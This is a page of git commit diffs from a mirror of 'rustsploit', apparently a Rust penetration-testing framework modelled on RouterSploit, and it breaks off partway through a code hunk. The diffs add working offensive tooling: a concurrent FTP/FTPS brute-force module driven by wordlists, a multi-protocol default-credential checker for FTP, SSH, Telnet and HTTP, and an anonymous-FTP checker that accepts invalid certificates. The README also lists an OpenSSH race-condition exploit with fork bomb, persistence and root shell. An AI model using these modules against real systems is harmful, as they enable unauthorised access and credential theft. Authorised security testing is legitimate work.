mirror of
https://github.com/s-b-repo/rustsploit
synced 2026-06-27 09:54:12 +00:00
Compare commits
41 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| aa21d50cb9 | |||
| 8250c927a4 | |||
| 626aa3f084 | |||
| 88427e4bc8 | |||
| 38575855d5 | |||
| 5130128663 | |||
| 8aff83df06 | |||
| f5f09f3309 | |||
| e5a70c2def | |||
| 2a29276bda | |||
| d25b58acbf | |||
| 7667872198 | |||
| e85a99ce0e | |||
| d48c946a4b | |||
| 13c23523cc | |||
| d64ccf34e5 | |||
| 681751e59a | |||
| 08e1b55da5 | |||
| 638559356f | |||
| 6a9b5354b4 | |||
| 3b16120d5b | |||
| ee5d3e11c2 | |||
| 6f61853c5f | |||
| e04e09eb64 | |||
| 01b3e5e8d2 | |||
| d531723c4d | |||
| b2ee6300b2 | |||
| 518c3b2c75 | |||
| ec963c0a0f | |||
| faebb28a55 | |||
| ad2e959fdb | |||
| a71ff971d2 | |||
| b5d7e1314b | |||
| c8c5730044 | |||
| 4be9fffd36 | |||
| 8be8d814b2 | |||
| 6e4c2a142e | |||
| 4aeb23a340 | |||
| af53756b78 | |||
| 8e182b2530 | |||
| ffabcfa277 |
+6
-2
@@ -25,8 +25,12 @@ colored = "3.0.0"
|
||||
rustyline = "15.0.0"
|
||||
#ftp brute force module
|
||||
async_ftp = "6.0.0"
|
||||
|
||||
tokio-socks = "0.5.2"
|
||||
rustls = "0.23.26"
|
||||
webpki-roots = "0.26.8"
|
||||
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
|
||||
native-tls = "0.2.14"
|
||||
sysinfo = { version = "0.34.2", features = ["multithread"] }
|
||||
|
||||
#telnet
|
||||
threadpool = "1.8.1"
|
||||
@@ -55,7 +59,7 @@ md5 = "0.7.0"
|
||||
|
||||
#ssh rce race condition
|
||||
libc = "0.2.172"
|
||||
|
||||
futures = "0.3.31"
|
||||
#spotube exploit
|
||||
serde_json = "1.0.140"
|
||||
futures-util = "0.3.31"
|
||||
|
||||
@@ -14,6 +14,10 @@ Convert exploits and add modules
|
||||
|
||||
# completed
|
||||
```
|
||||
added ipv6 support for rstp rdp and ssh cant find any ipv6 address i cant test on so untested
|
||||
added ftps support
|
||||
added ipv6 support to ftp anon and brute
|
||||
added rdp ipv6 support unable to find rpd ipv6 device to test on with shodan
|
||||
added exploit openssh server race condition 9.8.p1 |Server Destruction fork |
|
||||
bomb Persistence create SSH user | Remote Root Shell
|
||||
|
||||
@@ -45,9 +49,19 @@ dynamic modules listing and colored listing
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
```
|
||||
## 🚀 Building & Running
|
||||
## 📦🛠️ requirements
|
||||
```
|
||||
```
|
||||
sudo apt update
|
||||
sudo apt install freerdp2-x11
|
||||
|
||||
for rdp bruteforce modudle
|
||||
|
||||
|
||||
```
|
||||
```
|
||||
### 📦 Clone the Repository
|
||||
|
||||
```
|
||||
|
||||
@@ -1,3 +1,21 @@
|
||||
Required Signature
|
||||
|
||||
The module must contain this exact public async function:
|
||||
|
||||
pub async fn run(target: &str) -> anyhow::Result<()>
|
||||
|
||||
Or any variant like:
|
||||
|
||||
pub async fn run(_target: &str) -> anyhow::Result<()>
|
||||
|
||||
Or even:
|
||||
|
||||
pub async fn run(host: &str) -> anyhow::Result<()>
|
||||
|
||||
|
||||
Refactor this module to work with the auto-dispatch system. Do not remove any functionality or features. Make sure it defines a pub async fn run(target: &str) -> Result<()> entry point that internally calls the correct logic. Rename any conflicting functions if needed, but preserve all capabilities and structure.
|
||||
|
||||
|
||||
Refactor this code to a Rust module so that it fully integrates into my RouterSploit-inspired Rust auto-dispatch framework.
|
||||
|
||||
✅ Preserve all functionality and existing logic — do not remove or simplify any capabilities.
|
||||
@@ -24,4 +42,32 @@ Refactor this code to a Rust module so that it fully integrates into my RouterS
|
||||
|
||||
Here is the original module that needs to be refactored:
|
||||
|
||||
.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
Would you like a Dynamic/Auto-Scaler version too? 🚀
|
||||
(Example: start at 500 concurrency, grow to 5000 if CPU/RAM is good.)
|
||||
|
||||
Want me to show it too? 🔥
|
||||
You said:
|
||||
yes Dynamic/Auto-Scaler show function to add
|
||||
|
||||
+25
-29
@@ -5,11 +5,12 @@ pub mod creds;
|
||||
use anyhow::Result;
|
||||
use crate::cli::Cli;
|
||||
use walkdir::WalkDir;
|
||||
use crate::utils::normalize_target;
|
||||
|
||||
/// Handle CLI arguments like:
|
||||
/// --command scanner --module scanners/port_scanner --target 192.168.1.1
|
||||
/// CLI dispatcher: e.g. --command scanner --target "::1" --module scanners/port_scanner
|
||||
pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
let target = cli_args.target.clone().unwrap_or_default();
|
||||
let raw = cli_args.target.clone().unwrap_or_default();
|
||||
let target = normalize_target(&raw)?; // IPv6 wrap only, no port
|
||||
let module = cli_args.module.clone().unwrap_or_default();
|
||||
|
||||
match command {
|
||||
@@ -33,15 +34,11 @@ pub async fn handle_command(command: &str, cli_args: &Cli) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Handle `run` in the interactive shell after `use <module>`
|
||||
/// Supports both full paths like "scanners/port_scanner" and short names like "port_scanner"
|
||||
pub async fn run_module(module_path: &str, target: &str) -> Result<()> {
|
||||
/// Interactive shell: handles `run` with raw target string
|
||||
pub async fn run_module(module_path: &str, raw_target: &str) -> Result<()> {
|
||||
let available = discover_modules();
|
||||
|
||||
// Exact match (e.g. "scanners/port_scanner")
|
||||
let full_match = available.iter().find(|m| m == &module_path);
|
||||
|
||||
// Short match (e.g. "port_scanner" from "scanners/port_scanner")
|
||||
let short_match = available.iter().find(|m| {
|
||||
m.rsplit_once('/')
|
||||
.map(|(_, short)| short == module_path)
|
||||
@@ -54,47 +51,46 @@ pub async fn run_module(module_path: &str, target: &str) -> Result<()> {
|
||||
m
|
||||
} else {
|
||||
eprintln!("❌ Unknown module '{}'. Available modules:", module_path);
|
||||
for module in available {
|
||||
println!(" {}", module);
|
||||
for m in available {
|
||||
println!(" {}", m);
|
||||
}
|
||||
return Ok(());
|
||||
};
|
||||
|
||||
let target = normalize_target(raw_target)?;
|
||||
|
||||
let mut parts = resolved.splitn(2, '/');
|
||||
let category = parts.next().unwrap_or("");
|
||||
let module_name = parts.next().unwrap_or("");
|
||||
|
||||
match category {
|
||||
"exploits" => exploit::run_exploit(module_name, target).await?,
|
||||
"scanners" => scanner::run_scan(module_name, target).await?,
|
||||
"creds" => creds::run_cred_check(module_name, target).await?,
|
||||
"exploits" => exploit::run_exploit(module_name, &target).await?,
|
||||
"scanners" => scanner::run_scan(module_name, &target).await?,
|
||||
"creds" => creds::run_cred_check(module_name, &target).await?,
|
||||
_ => eprintln!("❌ Category '{}' is not supported.", category),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Walks src/modules/{exploits,scanners,creds} recursively and returns all `.rs` modules (excluding mod.rs)
|
||||
/// Finds all .rs module paths inside `src/modules/**`, excluding mod.rs
|
||||
pub fn discover_modules() -> Vec<String> {
|
||||
let mut modules = Vec::new();
|
||||
let categories = ["exploits", "scanners", "creds"];
|
||||
|
||||
for category in categories {
|
||||
let base_path = format!("src/modules/{}", category);
|
||||
let walker = WalkDir::new(&base_path).max_depth(6);
|
||||
|
||||
for entry in walker.into_iter().filter_map(|e| e.ok()) {
|
||||
let path = entry.path();
|
||||
|
||||
if path.is_file()
|
||||
&& path.extension().map_or(false, |e| e == "rs")
|
||||
&& path.file_name().map_or(true, |n| n != "mod.rs")
|
||||
for category in &categories {
|
||||
let base = format!("src/modules/{}", category);
|
||||
for entry in WalkDir::new(&base).max_depth(6).into_iter().filter_map(|e| e.ok()) {
|
||||
let p = entry.path();
|
||||
if p.is_file()
|
||||
&& p.extension().map_or(false, |e| e == "rs")
|
||||
&& p.file_name().map_or(true, |n| n != "mod.rs")
|
||||
{
|
||||
if let Ok(relative) = path.strip_prefix("src/modules") {
|
||||
let module_path = relative
|
||||
.with_extension("") // remove .rs
|
||||
if let Ok(rel) = p.strip_prefix("src/modules") {
|
||||
let module_path = rel
|
||||
.with_extension("")
|
||||
.to_string_lossy()
|
||||
.replace("\\", "/"); // Windows compatibility
|
||||
.replace("\\", "/");
|
||||
modules.push(module_path);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -6,6 +6,8 @@ use telnet::{Telnet, Event};
|
||||
use std::{net::TcpStream, time::Duration};
|
||||
use tokio::{join, task};
|
||||
|
||||
|
||||
|
||||
#[allow(dead_code)]
|
||||
/// Supported Acti services
|
||||
pub enum ServiceType {
|
||||
@@ -25,6 +27,16 @@ pub struct Config {
|
||||
pub verbosity: bool,
|
||||
}
|
||||
|
||||
/// Helper to normalize IPv4, IPv6 (with any amount of brackets)
|
||||
fn normalize_target(target: &str, port: u16) -> String {
|
||||
let cleaned = target.trim_matches(|c| c == '[' || c == ']');
|
||||
if cleaned.contains(':') && !cleaned.contains('.') {
|
||||
format!("[{}]:{}", cleaned, port) // IPv6
|
||||
} else {
|
||||
format!("{}:{}", cleaned, port) // IPv4 or hostname
|
||||
}
|
||||
}
|
||||
|
||||
/// FTP check (async)
|
||||
pub async fn check_ftp(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking FTP credentials on {}:{}", config.target, config.port);
|
||||
@@ -34,7 +46,7 @@ pub async fn check_ftp(config: &Config) -> Result<()> {
|
||||
println!("[*] Trying FTP: {}:{}", username, password);
|
||||
}
|
||||
|
||||
let address = format!("{}:{}", config.target, config.port);
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
match FtpStream::connect(address).await {
|
||||
Ok(mut ftp) => {
|
||||
if ftp.login(username, password).await.is_ok() {
|
||||
@@ -53,7 +65,7 @@ pub async fn check_ftp(config: &Config) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// SSH check (blocking, so we use spawn_blocking in our run function)
|
||||
/// SSH check (blocking, so we use spawn_blocking)
|
||||
pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking SSH credentials on {}:{}", config.target, config.port);
|
||||
|
||||
@@ -62,7 +74,7 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Trying SSH: {}:{}", username, password);
|
||||
}
|
||||
|
||||
let address = format!("{}:{}", config.target, config.port);
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
if let Ok(stream) = TcpStream::connect(address) {
|
||||
let mut session = Session::new().context("Failed to create SSH session")?;
|
||||
session.set_tcp_stream(stream);
|
||||
@@ -81,7 +93,7 @@ pub fn check_ssh_blocking(config: &Config) -> Result<()> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Telnet check (blocking, so we use spawn_blocking in our run function)
|
||||
/// Telnet check (blocking)
|
||||
pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Checking Telnet credentials on {}:{}", config.target, config.port);
|
||||
|
||||
@@ -90,7 +102,15 @@ pub fn check_telnet_blocking(config: &Config) -> Result<()> {
|
||||
println!("[*] Trying Telnet: {}:{}", username, password);
|
||||
}
|
||||
|
||||
if let Ok(mut telnet) = Telnet::connect((config.target.as_str(), config.port), 500) {
|
||||
let address = normalize_target(&config.target, config.port);
|
||||
let parts: Vec<&str> = address.rsplitn(2, ':').collect();
|
||||
if parts.len() != 2 {
|
||||
continue;
|
||||
}
|
||||
let host = parts[1];
|
||||
let port: u16 = parts[0].parse().unwrap_or(23);
|
||||
|
||||
if let Ok(mut telnet) = Telnet::connect((host, port), 500) {
|
||||
let _ = telnet.write(format!("{}\r\n", username).as_bytes());
|
||||
let _ = telnet.write(format!("{}\r\n", password).as_bytes());
|
||||
|
||||
@@ -122,7 +142,7 @@ pub async fn check_http_form(config: &Config) -> Result<()> {
|
||||
.timeout(Duration::from_secs(5))
|
||||
.build()?;
|
||||
|
||||
let url = format!("http://{}:{}/video.htm", config.target, config.port);
|
||||
let url = format!("http://{}:{}/video.htm", config.target.trim_matches(|c| c == '[' || c == ']'), config.port);
|
||||
|
||||
for (username, password) in &config.credentials {
|
||||
if config.verbosity {
|
||||
@@ -179,21 +199,17 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
let telnet_conf = Config { port: 23, ..base_config.clone() };
|
||||
let http_conf = Config { port: 80, ..base_config.clone() };
|
||||
|
||||
// Start all checks in parallel
|
||||
let (ftp_res, ssh_res, telnet_res, http_res) = join!(
|
||||
check_ftp(&ftp_conf),
|
||||
async {
|
||||
// run blocking ssh check in separate thread
|
||||
task::spawn_blocking(move || check_ssh_blocking(&ssh_conf)).await?
|
||||
},
|
||||
async {
|
||||
// run blocking telnet check in separate thread
|
||||
task::spawn_blocking(move || check_telnet_blocking(&telnet_conf)).await?
|
||||
},
|
||||
check_http_form(&http_conf),
|
||||
);
|
||||
|
||||
// Evaluate results
|
||||
ftp_res?;
|
||||
ssh_res?;
|
||||
telnet_res?;
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
use anyhow::{Result, anyhow};
|
||||
use std::process::Command;
|
||||
|
||||
/// Module entry point for raising ulimit
|
||||
pub async fn run(_target: &str) -> Result<()> {
|
||||
raise_ulimit().await
|
||||
}
|
||||
|
||||
/// Raise ulimit to 65535
|
||||
async fn raise_ulimit() -> Result<()> {
|
||||
println!("[*] Attempting to raise open file limit (ulimit -n 65535)");
|
||||
|
||||
// Try to set limit using bash
|
||||
let output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n 65535")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to run bash: {}", e))?;
|
||||
|
||||
if !output.status.success() {
|
||||
println!("[-] Warning: Could not change ulimit. (maybe run as root?)");
|
||||
} else {
|
||||
println!("[+] Successfully ran ulimit -n 65535.");
|
||||
}
|
||||
|
||||
// Check current limit
|
||||
let check_output = Command::new("bash")
|
||||
.arg("-c")
|
||||
.arg("ulimit -n")
|
||||
.output()
|
||||
.map_err(|e| anyhow!("Failed to check ulimit: {}", e))?;
|
||||
|
||||
if check_output.status.success() {
|
||||
let limit = String::from_utf8_lossy(&check_output.stdout);
|
||||
println!("[+] Current open file limit: {}", limit.trim());
|
||||
} else {
|
||||
println!("[-] Warning: Could not verify new ulimit.");
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -1,63 +1,87 @@
|
||||
use anyhow::{Context, Result};
|
||||
use std::net::TcpStream;
|
||||
use std::io::{BufRead, BufReader, Write};
|
||||
use std::time::Duration;
|
||||
use anyhow::{anyhow, Result};
|
||||
use suppaftp::{AsyncFtpStream, AsyncNativeTlsFtpStream, AsyncNativeTlsConnector};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use tokio::time::{timeout, Duration};
|
||||
|
||||
/// Checks if anonymous FTP login is allowed on a target.
|
||||
///
|
||||
/// Example usage from shell:
|
||||
/// ```
|
||||
/// rsf> use creds/ftp_anonymous
|
||||
/// rsf> set target 192.168.1.1
|
||||
/// rsf> run
|
||||
/// ```
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
target.to_string()
|
||||
} else {
|
||||
let clean = if target.starts_with('[') && target.ends_with(']') {
|
||||
&target[1..target.len() - 1]
|
||||
} else {
|
||||
target
|
||||
};
|
||||
if clean.contains(':') {
|
||||
format!("[{}]:{}", clean, port)
|
||||
} else {
|
||||
format!("{}:{}", clean, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Anonymous FTP/FTPS login test with IPv6 support
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let port = 21;
|
||||
let address = format!("{}:{}", target, port);
|
||||
let addr = format_addr(target, 21);
|
||||
let domain = target
|
||||
.trim_start_matches('[')
|
||||
.split(&[']', ':'][..])
|
||||
.next()
|
||||
.unwrap_or(target);
|
||||
|
||||
println!("[*] Connecting to FTP service on {}...", address);
|
||||
println!("[*] Connecting to FTP service on {}...", addr);
|
||||
|
||||
// Connect with a short timeout
|
||||
let stream = TcpStream::connect_timeout(
|
||||
&address.parse().context("Invalid address")?,
|
||||
Duration::from_secs(5),
|
||||
)
|
||||
.context("Connection failed")?;
|
||||
|
||||
// Clone reader/writer
|
||||
let mut reader = BufReader::new(stream.try_clone()?);
|
||||
let mut writer = stream;
|
||||
|
||||
// Read initial banner
|
||||
let mut banner = String::new();
|
||||
reader.read_line(&mut banner)?;
|
||||
print!("[<] {}", banner);
|
||||
|
||||
// Send USER anonymous
|
||||
writer.write_all(b"USER anonymous\r\n")?;
|
||||
writer.flush()?;
|
||||
|
||||
let mut response = String::new();
|
||||
reader.read_line(&mut response)?;
|
||||
print!("[<] {}", response);
|
||||
|
||||
if !response.starts_with("3") && !response.contains("password") {
|
||||
println!("[-] Server does not accept 'anonymous' user.");
|
||||
return Ok(());
|
||||
// 1️⃣ Try plain FTP first
|
||||
match timeout(Duration::from_secs(5), AsyncFtpStream::connect(&addr)).await {
|
||||
Ok(Ok(mut ftp)) => {
|
||||
let result = ftp.login("anonymous", "anonymous").await;
|
||||
if let Ok(_) = result {
|
||||
println!("[+] Anonymous login successful (FTP)");
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(());
|
||||
} else if let Err(e) = result {
|
||||
if e.to_string().contains("530") {
|
||||
println!("[-] Anonymous login rejected (FTP)");
|
||||
return Ok(());
|
||||
} else if e.to_string().contains("550 SSL") {
|
||||
println!("[*] FTP server requires TLS — upgrading to FTPS...");
|
||||
} else {
|
||||
return Err(anyhow!("FTP error: {}", e));
|
||||
}
|
||||
}
|
||||
}
|
||||
Ok(Err(e)) => println!("[!] FTP connection error: {}", e),
|
||||
Err(_) => println!("[-] FTP connection timed out"),
|
||||
}
|
||||
|
||||
// Send PASS anything (or empty)
|
||||
writer.write_all(b"PASS anonymous\r\n")?;
|
||||
writer.flush()?;
|
||||
// 2️⃣ Fallback to FTPS
|
||||
let mut ftps = AsyncNativeTlsFtpStream::connect(&addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
|
||||
|
||||
response.clear();
|
||||
reader.read_line(&mut response)?;
|
||||
print!("[<] {}", response);
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
TlsConnector::new()
|
||||
.danger_accept_invalid_certs(true)
|
||||
.danger_accept_invalid_hostnames(true),
|
||||
);
|
||||
|
||||
if response.starts_with("2") {
|
||||
println!("[+] Anonymous login successful!");
|
||||
} else {
|
||||
println!("[-] Anonymous login failed.");
|
||||
ftps = ftps
|
||||
.into_secure(connector, domain)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS TLS upgrade failed: {}", e))?;
|
||||
|
||||
match ftps.login("anonymous", "anonymous").await {
|
||||
Ok(_) => {
|
||||
println!("[+] Anonymous login successful (FTPS)");
|
||||
let _ = ftps.quit().await;
|
||||
}
|
||||
Err(e) if e.to_string().contains("530") => {
|
||||
println!("[-] Anonymous login rejected (FTPS)");
|
||||
}
|
||||
Err(e) => return Err(anyhow!("FTPS login error: {}", e)),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
|
||||
@@ -1,15 +1,59 @@
|
||||
use anyhow::{anyhow, Result};
|
||||
use async_ftp::FtpStream;
|
||||
use suppaftp::{
|
||||
AsyncFtpStream,
|
||||
AsyncNativeTlsFtpStream,
|
||||
AsyncNativeTlsConnector,
|
||||
};
|
||||
use suppaftp::async_native_tls::TlsConnector;
|
||||
use std::{
|
||||
fs::File,
|
||||
io::{BufRead, BufReader, Write},
|
||||
path::{Path, PathBuf},
|
||||
path::PathBuf,
|
||||
sync::Arc,
|
||||
};
|
||||
use tokio::{
|
||||
sync::Mutex,
|
||||
time::{sleep, Duration},
|
||||
};
|
||||
use tokio::{sync::Mutex, time::{sleep, Duration}};
|
||||
use std::path::Path;
|
||||
use sysinfo::System;
|
||||
use futures::stream::{FuturesUnordered, StreamExt};
|
||||
|
||||
async fn dynamic_throttle(running: usize, max_concurrency: usize) {
|
||||
let mut system = System::new_all();
|
||||
system.refresh_all();
|
||||
|
||||
let cpu_usage = system.cpus().iter().map(|cpu| cpu.cpu_usage()).sum::<f32>() / system.cpus().len() as f32;
|
||||
let ram_used = system.used_memory() as f32 / system.total_memory() as f32;
|
||||
|
||||
if cpu_usage > 80.0 || ram_used > 0.8 {
|
||||
sleep(Duration::from_millis(50)).await;
|
||||
} else if cpu_usage > 60.0 || ram_used > 0.6 {
|
||||
sleep(Duration::from_millis(25)).await;
|
||||
} else if running > max_concurrency {
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
} else {
|
||||
sleep(Duration::from_millis(1)).await;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// Format IPv4 or IPv6 addresses with port
|
||||
fn format_addr(target: &str, port: u16) -> String {
|
||||
if target.starts_with('[') && target.contains("]:") {
|
||||
target.to_string()
|
||||
} else if target.matches(':').count() == 1 && !target.contains('[') {
|
||||
target.to_string()
|
||||
} else {
|
||||
let clean = if target.starts_with('[') && target.ends_with(']') {
|
||||
&target[1..target.len() - 1]
|
||||
} else {
|
||||
target
|
||||
};
|
||||
if clean.contains(':') {
|
||||
format!("[{}]:{}", clean, port)
|
||||
} else {
|
||||
format!("{}:{}", clean, port)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
println!("=== FTP Brute Force Module ===");
|
||||
@@ -17,21 +61,17 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
|
||||
let port: u16 = loop {
|
||||
let input = prompt_default("FTP Port", "21")?;
|
||||
match input.parse() {
|
||||
Ok(p) => break p,
|
||||
Err(_) => println!("Invalid port. Try again."),
|
||||
}
|
||||
if let Ok(p) = input.parse() { break p }
|
||||
println!("Invalid port. Try again.");
|
||||
};
|
||||
|
||||
let usernames_file = prompt_required("Username wordlist (use local copy of rockyou.txt)")?;
|
||||
let usernames_file = prompt_required("Username wordlist")?;
|
||||
let passwords_file = prompt_required("Password wordlist")?;
|
||||
|
||||
let concurrency: usize = loop {
|
||||
let input = prompt_default("Max concurrent tasks", "10")?;
|
||||
match input.parse() {
|
||||
Ok(n) if n > 0 => break n,
|
||||
_ => println!("Invalid number. Try again."),
|
||||
let input = prompt_default("Max concurrent tasks", "500")?; // default 500 (higher)
|
||||
if let Ok(n) = input.parse::<usize>() {
|
||||
if n > 0 { break n }
|
||||
}
|
||||
println!("Invalid number. Try again.");
|
||||
};
|
||||
|
||||
let stop_on_success = prompt_yes_no("Stop on first success?", true)?;
|
||||
@@ -42,49 +82,60 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
None
|
||||
};
|
||||
let verbose = prompt_yes_no("Verbose mode?", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false)?;
|
||||
let combo_mode = prompt_yes_no("Combination mode (user × pass)?", false)?;
|
||||
|
||||
let addr = format!("{}:{}", target, port);
|
||||
let addr = format_addr(target, port);
|
||||
let found = Arc::new(Mutex::new(Vec::new()));
|
||||
let stop = Arc::new(Mutex::new(false));
|
||||
|
||||
println!("\n[*] Starting brute-force on {}", addr);
|
||||
|
||||
let users = load_lines(&usernames_file)?;
|
||||
let pass_file = File::open(&passwords_file)?;
|
||||
let pass_buf = BufReader::new(pass_file);
|
||||
let passes = load_lines(&passwords_file)?;
|
||||
|
||||
let pass_lines: Vec<_> = pass_buf.lines().filter_map(Result::ok).collect();
|
||||
let _pass_len = pass_lines.len();
|
||||
let mut tasks = FuturesUnordered::new();
|
||||
|
||||
if combo_mode {
|
||||
// Every user × every pass
|
||||
for user in &users {
|
||||
for pass in &passes {
|
||||
let addr = addr.clone();
|
||||
let user = user.clone();
|
||||
let pass = pass.clone();
|
||||
let found = Arc::clone(&found);
|
||||
let stop = Arc::clone(&stop);
|
||||
|
||||
let mut idx = 0;
|
||||
for pass in pass_lines {
|
||||
if *stop.lock().await {
|
||||
break;
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if *stop.lock().await { return; }
|
||||
match try_ftp_login(&addr, &user, &pass).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr, user, pass);
|
||||
found.lock().await.push((addr.clone(), user.clone(), pass.clone()));
|
||||
if stop_on_success {
|
||||
*stop.lock().await = true;
|
||||
}
|
||||
}
|
||||
Ok(false) => {
|
||||
log(verbose, &format!("[-] {} -> {}:{}", addr, user, pass));
|
||||
}
|
||||
Err(e) => {
|
||||
log(verbose, &format!("[!] {}: error: {}", addr, e));
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
}
|
||||
|
||||
let userlist = if combo_mode {
|
||||
users.clone()
|
||||
} else {
|
||||
// Pair same line index if available
|
||||
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
|
||||
};
|
||||
|
||||
let mut handles = vec![];
|
||||
|
||||
for user in userlist {
|
||||
} else {
|
||||
// Line-by-line (user1 with pass1, user2 with pass2, etc.)
|
||||
for (i, pass) in passes.iter().enumerate() {
|
||||
let user = users.get(i % users.len()).unwrap_or(&users[0]).clone();
|
||||
let addr = addr.clone();
|
||||
let user = user.clone();
|
||||
let pass = pass.clone();
|
||||
let found = Arc::clone(&found);
|
||||
let stop = Arc::clone(&stop);
|
||||
|
||||
let handle = tokio::spawn(async move {
|
||||
if *stop.lock().await {
|
||||
return;
|
||||
}
|
||||
|
||||
tasks.push(tokio::spawn(async move {
|
||||
if *stop.lock().await { return; }
|
||||
match try_ftp_login(&addr, &user, &pass).await {
|
||||
Ok(true) => {
|
||||
println!("[+] {} -> {}:{}", addr, user, pass);
|
||||
@@ -100,26 +151,19 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
log(verbose, &format!("[!] {}: error: {}", addr, e));
|
||||
}
|
||||
}
|
||||
|
||||
sleep(Duration::from_millis(10)).await;
|
||||
});
|
||||
|
||||
handles.push(handle);
|
||||
|
||||
if handles.len() >= concurrency {
|
||||
for h in handles.drain(..) {
|
||||
let _ = h.await;
|
||||
}
|
||||
}
|
||||
}));
|
||||
}
|
||||
|
||||
for h in handles {
|
||||
let _ = h.await;
|
||||
}
|
||||
|
||||
idx += 1;
|
||||
}
|
||||
|
||||
// 💥 Here is the correct task runner with dynamic throttling!
|
||||
let mut running = 0;
|
||||
while let Some(res) = tasks.next().await {
|
||||
dynamic_throttle(running, concurrency).await;
|
||||
res?;
|
||||
running += 1;
|
||||
}
|
||||
|
||||
// After all tasks are finished, print/save results
|
||||
let creds = found.lock().await;
|
||||
if creds.is_empty() {
|
||||
println!("\n[-] No credentials found.");
|
||||
@@ -128,57 +172,118 @@ pub async fn run(target: &str) -> Result<()> {
|
||||
for (host, user, pass) in creds.iter() {
|
||||
println!(" {} -> {}:{}", host, user, pass);
|
||||
}
|
||||
|
||||
if let Some(path) = save_path {
|
||||
let filename = get_filename_in_current_dir(&path);
|
||||
let mut file = File::create(&filename)?;
|
||||
let file_path = get_filename_in_current_dir(&path);
|
||||
let mut file = File::create(&file_path)?;
|
||||
for (host, user, pass) in creds.iter() {
|
||||
writeln!(file, "{} -> {}:{}", host, user, pass)?;
|
||||
}
|
||||
println!("[+] Results saved to '{}'", filename.display());
|
||||
println!("[+] Results saved to '{}'", file_path.display());
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
|
||||
/// Try FTP login and only fallback to FTPS if "SSL/TLS required" is detected
|
||||
async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
|
||||
match FtpStream::connect(addr).await {
|
||||
Ok(mut stream) => match stream.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = stream.quit().await;
|
||||
Ok(true)
|
||||
}
|
||||
Err(e) => {
|
||||
if e.to_string().contains("530") {
|
||||
Ok(false)
|
||||
} else {
|
||||
Err(anyhow!("FTP error: {}", e))
|
||||
match AsyncFtpStream::connect(addr).await {
|
||||
Ok(mut ftp) => {
|
||||
match ftp.login(user, pass).await {
|
||||
Ok(_) => {
|
||||
let _ = ftp.quit().await;
|
||||
return Ok(true);
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("530") {
|
||||
return Ok(false);
|
||||
} else if msg.contains("550 SSL/TLS required") {
|
||||
// fall through
|
||||
} else if msg.contains("421") {
|
||||
// 421 Too many connections
|
||||
println!("[-] 421 Too many connections, sleeping 2 seconds...");
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
return Err(anyhow!("FTP error: {}", msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
Err(e) => Err(anyhow!("Connection error: {}", e)),
|
||||
}
|
||||
Err(e) => {
|
||||
let msg = e.to_string();
|
||||
if msg.contains("550 SSL/TLS required") {
|
||||
// fall through
|
||||
} else if msg.contains("421") {
|
||||
println!("[-] 421 Too many connections, sleeping 2 seconds...");
|
||||
sleep(Duration::from_secs(2)).await;
|
||||
return Ok(false);
|
||||
} else {
|
||||
return Err(anyhow!("FTP connection error: {}", msg));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 2️⃣ Only if needed, try FTPS
|
||||
let mut ftp_tls = AsyncNativeTlsFtpStream::connect(addr)
|
||||
.await
|
||||
.map_err(|e| anyhow!("FTPS connect failed: {}", e))?;
|
||||
|
||||
let connector = AsyncNativeTlsConnector::from(
|
||||
